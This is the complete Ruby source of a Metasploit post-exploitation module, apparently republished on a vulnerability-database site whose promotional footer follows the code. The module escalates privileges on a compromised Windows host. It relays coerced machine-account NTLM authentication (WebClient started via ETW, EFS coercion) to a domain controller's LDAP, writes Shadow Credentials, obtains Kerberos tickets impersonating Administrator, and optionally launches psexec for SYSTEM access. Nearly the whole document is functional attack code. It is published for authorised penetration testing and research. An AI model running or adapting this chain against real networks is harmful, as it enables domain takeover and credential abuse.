##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
include Msf::Exploit::Remote::HttpServer::Relay
include Msf::Exploit::Remote::LDAP::ActiveDirectory
include Msf::Post::Windows::Priv
include Msf::Post::File
attr_accessor :service
def initialize(info = {})
super(
update_info(
info,
'Name' => 'NTLM Relay to Self (HTTP to LDAP) - Post Exploitation',
'Description' => %q{
This module performs an NTLM relay-to-self privilege escalation attack. It starts an HTTP-to-LDAP
relay server on the compromised host, then triggers the WebClient service via an ETW event
(allowing a low-privilege user to start it), and coerces the local machine account to authenticate
via OpenEncryptedFileRaw to the relay listener over WebDAV.
The coerced machine account NTLM authentication is relayed to a Domain Controller's LDAP service,
where the module writes Shadow Credentials (msDS-KeyCredentialLink) to its own AD object and
obtains a Kerberos TGT via PKINIT. The module then performs S4U2Proxy to obtain an impersonating
service ticket for Administrator, enabling psexec back to itself for SYSTEM access.
RUN_GET_TICKET and RUN_PSEXEC are independent toggles. An operator can obtain a ticket without running
psexec, run psexec with a previously obtained ticket, or run both sequentially. RUN_PSEXEC defaults to
false so the module does not automatically attempt lateral movement.
},
'License' => MSF_LICENSE,
'Stance' => Msf::Exploit::Stance::Passive,
'Passive' => true,
'Author' => [ 'jheysel-r7' ],
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows', {} ]
],
'DisclosureDate' => '2001-01-01', # First record of NTLM Relaying
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options([
OptPort.new('SRVPORT', [true, 'The port the victim machine will listen on', 8081]),
OptAddress.new('SRVHOST', [true, 'The interface the victim will listen on', '0.0.0.0']),
OptPort.new('RPORT', [true, 'The target LDAP server port', 389]),
OptString.new('TARGETURI', [true, 'The target URI to relay', '/']),
OptString.new('DOMAIN', [false, 'The target domain (auto-detected from session if blank)', '']),
OptBool.new('RANDOMIZE_TARGETS', [false, 'Randomize relay targets', false]),
OptInt.new('SessionKeepalive', [false, 'Keepalive interval in seconds', 300]),
OptBool.new('RUN_CHECKS', [true, 'Run pre-flight checks before starting the relay server', true]),
OptBool.new('RUN_GET_TICKET', [
true,
'Write key credential (Shadow Credentials) and obtain a Kerberos TGT/ST for the target object.', true
]),
OptBool.new('RUN_PSEXEC', [
true,
'Use the obtained ticket to run psexec against the target host for a session. Only meaningful for computer targets.', false
]),
OptString.new('TARGET_PRIVILEGED_USER', [true, 'The privileged user to attempt to impersonate and authenticate as', 'Administrator']),
OptString.new('SPN', [false, 'Service Principal Name for the TGS request (default: CIFS/<target_fqdn>)', '']),
OptInt.new('COERCE_AUTH_WAIT', [true, 'Time to wait to try a different EFS Win32 API via railgun after the first wasn\'t successful', 3]),
])
# The module passes the payload definition to the psexec module which will start the handler
register_advanced_options([
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler', true])
])
# These are loaded in from the ActiveDirectory mixin which the module will only use with the session returned from
# the LDAP relay, deregister as they're unnecessary
deregister_options('LDAPDomain', 'LDAPPassword', 'LDAPUsername')
end
def relay_targets
Msf::Exploit::Remote::Relay::TargetList.new(
:ldap,
datastore['RPORT'],
datastore['RHOSTS'],
datastore['TARGETURI'],
randomize_targets: datastore['RANDOMIZE_TARGETS'],
drop_mic_only: false,
drop_mic_and_sign_key_exch_flags: true
)
end
def lm_compatibility_level
registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa', 'LmCompatibilityLevel')
end
# Auto-detects the victim's machine account name (e.g., desktop-123$)
def default_machine_account
computer_name = session.sys.config.sysinfo['Computer']
"#{computer_name}$".downcase
end
# Resolves the target domain from the datastore or auto-detects from the session.
def resolve_domain
domain = datastore['DOMAIN'].to_s.strip
return domain unless domain.empty? || domain == '/'
detected = get_domain_name
if detected.to_s.empty?
print_error('Could not auto-detect domain. Please set the DOMAIN option manually.')
return nil
end
print_status("Auto-detected domain: #{detected}")
detected
end
# Derives the FQDN for the target computer object.
def target_fqdn(target_name, domain_fqdn)
hostname = target_name.delete_suffix('$')
"#{hostname}.#{domain_fqdn}".downcase
end
# Validates options early and fails fast on invalid configurations.
def validate_options!
unless datastore['RUN_GET_TICKET'] || datastore['RUN_PSEXEC']
print_status('Neither RUN_GET_TICKET nor RUN_PSEXEC is set. The module will only perform the relay.')
return false
end
true
end
def exploit
unless session.type == 'meterpreter'
fail_with(Failure::BadConfig, "This module requires a Meterpreter session (got: #{session.type}).")
end
@spawned_ldap_sessions = []
pre_flight_checks if datastore['RUN_CHECKS']
print_status("Starting relay server bound to Session #{session.sid}...")
start_service({ 'Comm' => session })
print_status("Server successfully started on #{srvhost}:#{datastore['SRVPORT']} via Session #{session.sid}.")
print_status('Starting WebClient service via ETW trigger...')
start_webclient_service
print_status('Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...')
coerce_authentication
@http_relay_service.wait if @http_relay_service
end
# Starts the WebClient service by attempting a connection to a WebDAV resource via WNetAddConnection2.
# This triggers the MPR -> davclnt.dll -> TriggerStartWebClientService code path internally,
# which fires the ETW event from the local process context (with LOCAL SID in the token).
# The connection itself will fail, but the side effect of loading davclnt.dll starts the service.
# Starts the WebClient service using an ETW event trigger via railgun.
# Registering an ETW provider with the WebClient service trigger GUID and writing
# an event causes the service to auto-start (works from medium integrity with LOCAL SID).
def start_webclient_service
check_local_sid
# GUID: {22B6D684-FA63-4578-87C9-EFFCBE6643C7}
guid = [0x22B6D684, 0xFA63, 0x4578, 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7].pack('VvvC8')
railgun = session.railgun
railgun.add_function('advapi32', 'EventRegister', 'DWORD', [
['PBLOB', 'ProviderId', 'in'],
['PBLOB', 'EnableCallback', 'in'],
['PBLOB', 'CallbackContext', 'in'],
['PBLOB', 'RegHandle', 'out']
])
if session.arch == ARCH_X64
railgun.add_function('advapi32', 'EventWrite', 'DWORD', [
['LPVOID', 'RegHandle', 'in'],
['PBLOB', 'EventDescriptor', 'in'],
['DWORD', 'UserDataCount', 'in'],
['PBLOB', 'UserData', 'in']
])
railgun.add_function('advapi32', 'EventUnregister', 'DWORD', [
['LPVOID', 'RegHandle', 'in']
])
else
# x86 stdcall: ULONGLONG is passed as DWORDs on the stack (low first, high second)
railgun.add_function('advapi32', 'EventWrite', 'DWORD', [
['DWORD', 'RegHandleLow', 'in'],
['DWORD', 'RegHandleHigh', 'in'],
['PBLOB', 'EventDescriptor', 'in'],
['DWORD', 'UserDataCount', 'in'],
['PBLOB', 'UserData', 'in']
])
railgun.add_function('advapi32', 'EventUnregister', 'DWORD', [
['DWORD', 'RegHandleLow', 'in'],
['DWORD', 'RegHandleHigh', 'in']
])
end
result = railgun.advapi32.EventRegister(guid, nil, nil, 8)
unless result['return'] == 0
fail_with(Failure::Unknown, "EventRegister failed with error code: #{result['return']}")
end
reg_handle_raw = result['RegHandle']
# EVENT_DESCRIPTOR struct layout:
# Id(USHORT=2), Version(UCHAR=1), Channel(UCHAR=1), Level(UCHAR=1), Opcode(UCHAR=1), Task(USHORT=2), Keyword(ULONGLONG=8)
# Values: Id=1, Version=0, Channel=0, Level=4, Opcode=0, Task=0, Keyword=0
event_desc = [1, 0, 0, 4, 0, 0, 0].pack('vCCCCvQ<')
if session.arch == ARCH_X64
reg_handle = reg_handle_raw.unpack1('Q<')
result = railgun.advapi32.EventWrite(reg_handle, event_desc, 0, nil)
unless result['return'] == 0
railgun.advapi32.EventUnregister(reg_handle)
fail_with(Failure::Unknown, "EventWrite failed with error code: #{result['return']}")
end
railgun.advapi32.EventUnregister(reg_handle)
else
handle_low, handle_high = reg_handle_raw.unpack('VV')
result = railgun.advapi32.EventWrite(handle_low, handle_high, event_desc, 0, nil)
unless result['return'] == 0
railgun.advapi32.EventUnregister(handle_low, handle_high)
fail_with(Failure::Unknown, "EventWrite failed with error code: #{result['return']}")
end
railgun.advapi32.EventUnregister(handle_low, handle_high)
end
print_good('WebClient service triggered successfully via ETW.')
# Give the service a moment to start
Rex.sleep(3)
end
# Coerces machine account authentication by calling EFS Win32 APIs via railgun
# with a WebDAV UNC path, triggering the machine account to authenticate to our relay listener.
# Tries multiple methods until one succeeds, similar to PetitPotam's Automatic mode.
def coerce_authentication
hostname = session.sys.config.sysinfo['Computer']
listener = "#{hostname}@#{datastore['SRVPORT']}/print"
@relay_succeeded = false
efs_methods = [
{ name: 'OpenEncryptedFileRaw', call: ->(path) { session.railgun.advapi32.OpenEncryptedFileRawW(path, 0, 8) } },
{ name: 'EncryptFile', call: ->(path) { session.railgun.advapi32.EncryptFileW(path) } },
{ name: 'DecryptFile', call: ->(path) { session.railgun.advapi32.DecryptFileW(path, 0) } }
]
efs_methods.each do |method|
break if @relay_succeeded
rand_path = "#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"
unc_path = "\\\\#{listener}\\#{rand_path}"
print_status("Attempting coercion via #{method[:name]} on #{unc_path}...")
method[:call].call(unc_path)
# Give the relay a moment to process before trying the next method
Rex.sleep(datastore['COERCE_AUTH_WAIT'])
end
end
def on_relay_success(relay_connection:, relay_identity:)
@relay_succeeded = true
print_good('Relay succeeded! Handshake completed.')
ldap_session = session_setup(relay_connection, relay_identity)
return unless ldap_session
return unless validate_options!
dc_ip = relay_connection.socket.peerhost
target_name = default_machine_account
framework.threads.spawn("Post_Relay_Chain_#{ldap_session.sid}", false) do
run_post_relay_chain(ldap_session, dc_ip, target_name)
end
rescue StandardError => e
elog('Failed to setup the session or orchestrate post-relay actions', error: e)
print_error("Relay success handling failed: #{e.message}")
end
def run_post_relay_chain(ldap_session, dc_ip, target_name)
if datastore['RUN_GET_TICKET']
run_get_ticket_chain(ldap_session, dc_ip, target_name)
end
if datastore['RUN_PSEXEC']
run_psexec_step(ldap_session, dc_ip, target_name)
end
end
def run_get_ticket_chain(ldap_session, dc_ip, target_name)
added_device_id = nil
begin
domain_fqdn = resolve_domain
return unless domain_fqdn
fqdn = target_fqdn(target_name, domain_fqdn)
shadow_results = call_shadow_credentials_module('ADD', ldap_session.sid, target_name)
return unless shadow_results
added_device_id = shadow_results[:device_id]
cert_path = shadow_results[:cert_path]
ccache_path = call_get_ticket_module('GET_TGS', cert_path, dc_ip, domain_fqdn, target_name, fqdn: fqdn)
return unless ccache_path
print_good("Obtained impersonating ST for target host #{target_name}")
store_or_export_ticket(ccache_path, target_name)
rescue StandardError => e
print_error("Error during ticket acquisition chain: #{e.message}")
ensure
print_status('--- Initiating OPSEC Cleanup ---')
if added_device_id
print_status("Removing Shadow Credentials (Device ID: #{added_device_id})...")
call_shadow_credentials_module('REMOVE', ldap_session.sid, target_name, added_device_id)
end
print_status('Cleanup complete.')
end
end
def run_psexec_step(_ldap_session, _dc_ip, target_name)
unless datastore['RUN_GET_TICKET']
print_warning('RUN_PSEXEC set without RUN_GET_TICKET; expecting a previously obtained ticket.')
end
domain_fqdn = resolve_domain
return unless domain_fqdn
fqdn = target_fqdn(target_name, domain_fqdn)
ccache_path = find_latest_ticket(target_name, domain_fqdn)
unless ccache_path
print_error("No cached ticket found for #{target_name}. Run with RUN_GET_TICKET first.")
return
end
execute_psexec(ccache_path, fqdn, domain_fqdn)
end
def store_or_export_ticket(ccache_path, target_name)
@last_ccache_path = ccache_path
print_status("Ticket for #{target_name} stored at: #{ccache_path}")
end
def find_latest_ticket(target_name, domain_fqdn)
return @last_ccache_path if @last_ccache_path && File.exist?(@last_ccache_path)
fqdn = target_fqdn(target_name, domain_fqdn)
ticket_loot = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").where('info LIKE ?', "%#{fqdn}%").last
return ticket_loot.path if ticket_loot && File.exist?(ticket_loot.path)
nil
end
def call_shadow_credentials_module(action, ldap_session_id, target_name, device_id = nil)
mod_refname = 'admin/ldap/shadow_credentials'
print_status("Loading #{mod_refname} to execute against LDAP Session #{ldap_session_id}")
shadow_module = framework.modules.create(mod_refname)
unless shadow_module
print_error("Failed to load module: #{mod_refname}")
return nil
end
shadow_module.datastore['SESSION'] = ldap_session_id
shadow_module.datastore['ACTION'] = action
shadow_module.datastore['TARGET_USER'] = target_name
shadow_module.datastore['DEVICE_ID'] = device_id if action == 'REMOVE' && device_id
shadow_module.datastore['VERBOSE'] = datastore['VERBOSE']
print_status("Running #{mod_refname} to #{action} key for #{target_name}...")
results = shadow_module.run_simple(
'LocalInput' => user_input,
'LocalOutput' => user_output,
'RunAsJob' => false
)
if action == 'ADD'
if results && results.is_a?(Array) && results.length >= 2
returned_device_id, stored_path = results
print_status("Shadow Credentials successfully added (Device ID: #{returned_device_id}).")
return { device_id: returned_device_id, cert_path: stored_path }
end
elsif action == 'REMOVE'
if results
print_good("Successfully removed KeyCredentialLink with Device ID: #{device_id}")
return { success: true }
end
end
print_error("Shadow credentials module failed or did not return expected data for action #{action}.")
nil
end
# Obtains a Kerberos ticket via the get_ticket module.
# action: 'GET_TGT' (user targets) or 'GET_TGS' (computer targets with S4U2Proxy impersonation).
def call_get_ticket_module(action, cert_path, dc_ip, domain_fqdn, target_name, fqdn: nil)
is_tgs = action == 'GET_TGS'
print_status(is_tgs ? 'Requesting S4U2Proxy TGS for Administrator...' : "Requesting TGT for user #{target_name} via PKINIT...")
get_ticket_mod = framework.modules.create('auxiliary/admin/kerberos/get_ticket')
initial_loot_id = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").maximum(:id) || 0
get_ticket_mod.datastore['ACTION'] = action
get_ticket_mod.datastore['CERT_FILE'] = cert_path
get_ticket_mod.datastore['DOMAIN'] = domain_fqdn
get_ticket_mod.datastore['RHOSTS'] = dc_ip
get_ticket_mod.datastore['USERNAME'] = target_name
if is_tgs
get_ticket_mod.datastore['IMPERSONATE'] = datastore['TARGET_PRIVILEGED_USER'].to_s.empty? ? 'Administrator' : datastore['TARGET_PRIVILEGED_USER']
get_ticket_mod.datastore['IMPERSONATE_TYPE'] = 'generic'
get_ticket_mod.datastore['SPN'] = datastore['SPN'].to_s.empty? ? "CIFS/#{fqdn}" : datastore['SPN']
end
vprint_status('Datastore values being sent to get_ticket:')
vprint_status("ACTION: #{get_ticket_mod.datastore['ACTION']}")
vprint_status("CERT_FILE: #{get_ticket_mod.datastore['CERT_FILE']}")
vprint_status("DOMAIN: #{get_ticket_mod.datastore['DOMAIN']}")
vprint_status("RHOSTS: #{get_ticket_mod.datastore['RHOSTS']}")
vprint_status("USERNAME: #{get_ticket_mod.datastore['USERNAME']}")
vprint_status("IMPERSONATE: #{get_ticket_mod.datastore['IMPERSONATE']}")
vprint_status("IMPERSONATE_TYPE: #{get_ticket_mod.datastore['IMPERSONATE_TYPE']}")
vprint_status("SPN: #{get_ticket_mod.datastore['SPN']}")
begin
get_ticket_mod.run_simple('LocalInput' => user_input, 'LocalOutput' => user_output)
rescue StandardError => e
print_error("Getting the #{is_tgs ? 'TGS' : 'TGT'} has failed: #{e.message}.")
return nil
end
ticket_loot = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").where('id > ?', initial_loot_id).last
unless ticket_loot && File.exist?(ticket_loot.path)
print_error("Failed to retrieve #{is_tgs ? 'TGS' : 'TGT'} from database.")
return nil
end
print_good("#{is_tgs ? 'S4U2Proxy Ticket' : 'TGT'} acquired: #{ticket_loot.path}")
ticket_loot.path
end
def execute_psexec(ccache_path, fqdn, domain_fqdn)
print_status("Executing PsExec with Kerberos ticket via session #{session.sid} COMM channel...")
psexec_mod = framework.modules.create('exploit/windows/smb/psexec')
unless psexec_mod
print_error('Failed to load module: exploit/windows/smb/psexec')
return
end
psexec_mod.datastore['RHOSTS'] = fqdn
psexec_mod.datastore['SMBUser'] = 'Administrator'
psexec_mod.datastore['SMBDomain'] = domain_fqdn
psexec_mod.datastore['SMB::Auth'] = 'kerberos'
psexec_mod.datastore['Smb::Krb5Ccname'] = ccache_path
psexec_mod.datastore['Smb::Rhostname'] = fqdn
psexec_mod.datastore['SMB::Comm'] = session.sid
psexec_mod.datastore['PAYLOAD'] = payload_instance.refname
psexec_mod.datastore['LHOST'] = datastore['LHOST'] if datastore['LHOST']
psexec_mod.datastore['LPORT'] = datastore['LPORT'] if datastore['LPORT']
print_status("Launching PsExec against #{fqdn} as Administrator (Kerberos) via COMM session #{session.sid}...")
psexec_mod.exploit_simple(
'LocalInput' => user_input,
'LocalOutput' => user_output,
'RunAsJob' => true
)
print_good('PsExec module launched. Check sessions for new elevated session.')
end
def session_setup(relay_connection, relay_identity)
client = relay_connection.create_ldap_client
ldap_session = Msf::Sessions::LDAP.new(
relay_connection.socket,
{
client: client,
keepalive_seconds: datastore['SessionKeepalive']
}
)
domain, _, username = relay_identity.partition('\\')
ldap_session.set_from_exploit(self)
ldap_session.info = "#{domain}\\#{username}"
framework.sessions.register(ldap_session)
if ldap_session.sid
print_good("LDAP Session #{ldap_session.sid} successfully opened!")
@spawned_ldap_sessions << ldap_session.sid
ldap_session
else
print_error('Failed to register the LDAP session.')
nil
end
end
def pre_flight_checks
check_db_status
check_options
check_lm_compatibility_level
check_privs
check_port_availability
check_target_reachability
end
def check_db_status
unless framework.db.active
fail_with(Failure::BadConfig, 'A connected Metasploit database is required to track Kerberos tickets. Please start the database using `db_connect`.')
end
end
def check_options
unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)
fail_with(Failure::BadConfig, 'This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`')
end
end
def check_lm_compatibility_level
lm_level = lm_compatibility_level
if lm_level > 2
fail_with(Failure::BadConfig, 'The target system is configured to not send NTLMv1 responses. This module requires NTLMv1 to be enabled to capture relay credentials. Please set the LmCompatibilityLevel registry value to 2 or lower and try again.')
end
print_good("Target system LmCompatibilityLevel is set to #{lm_level}, which allows NTLMv1 responses. Proceeding with module execution.")
end
def check_privs
srvport = datastore['SRVPORT'].to_i
if srvport <= 1024 && !is_admin?
print_warning("You are attempting to bind to a privileged port (#{srvport}) but do not have Admin rights.")
print_warning('The OS will likely block this. Consider changing SRVPORT to something > 1024, or escalating privileges.')
end
end
# Verifies the session token has the LOCAL SID (S-1-2-0). The ETW service trigger
# for WebClient requires this SID. Present for interactive/RDP logons, absent for
# network (type 3) logons such as psexec or WMI-spawned sessions.
def check_local_sid
# S-1-2-0 binary SID: Revision=1, SubAuthorityCount=1,
# IdentifierAuthority={0,0,0,0,0,2}, SubAuthority[0]=0
local_sid = "\x01\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00"
result = session.railgun.advapi32.CheckTokenMembership(0, local_sid, 4)
is_member = result['IsMember'].unpack1('V')
unless is_member != 0
fail_with(Failure::BadConfig,
'Session token does not have the LOCAL SID (S-1-2-0). ' \
'The ETW trigger requires an interactive or RDP logon. ' \
'Network logon sessions (e.g., psexec/WMI) will not work.')
end
print_good('Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.')
end
def check_port_availability
srvport = datastore['SRVPORT'].to_i
print_status("Checking if port #{srvport} is available on the victim...")
begin
connections = session.net.config.get_netstat
conflict = connections.find do |conn|
conn.local_port == srvport &&
conn.protocol == 'tcp' &&
conn.state == 'LISTEN'
end
if conflict
pid_info = conflict.pid_name.to_s.empty? ? conflict.pid : conflict.pid_name
fail_with(Failure::BadConfig, "Port #{srvport} is already in use by PID #{pid_info} on the victim machine! Please choose a different SRVPORT.")
else
print_good("Port #{srvport} is available on the victim machine.")
end
rescue NoMethodError, Rex::Post::Meterpreter::RequestError => e
print_warning("Could not verify port availability (Error: #{e.message}). Proceeding anyway...")
end
end
def check_target_reachability
rhosts_string = datastore['RHOSTS']
rport = datastore['RPORT'].to_i
print_status("Verifying victim can reach the target LDAP server(s) on port #{rport}...")
Rex::Socket::RangeWalker.new(rhosts_string).each do |rhost|
sock = session.net.socket.create(
Rex::Socket::Parameters.new(
'PeerHost' => rhost,
'PeerPort' => rport,
'Proto' => 'tcp'
)
)
sock.close
print_good("Target LDAP server #{rhost} is reachable from the victim!")
rescue StandardError => e
print_warning("Could not reach #{rhost}:#{rport} from the victim machine (Error: #{e.message}).")
print_warning("The relay will likely fail for #{rhost} if the victim cannot communicate with it.")
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation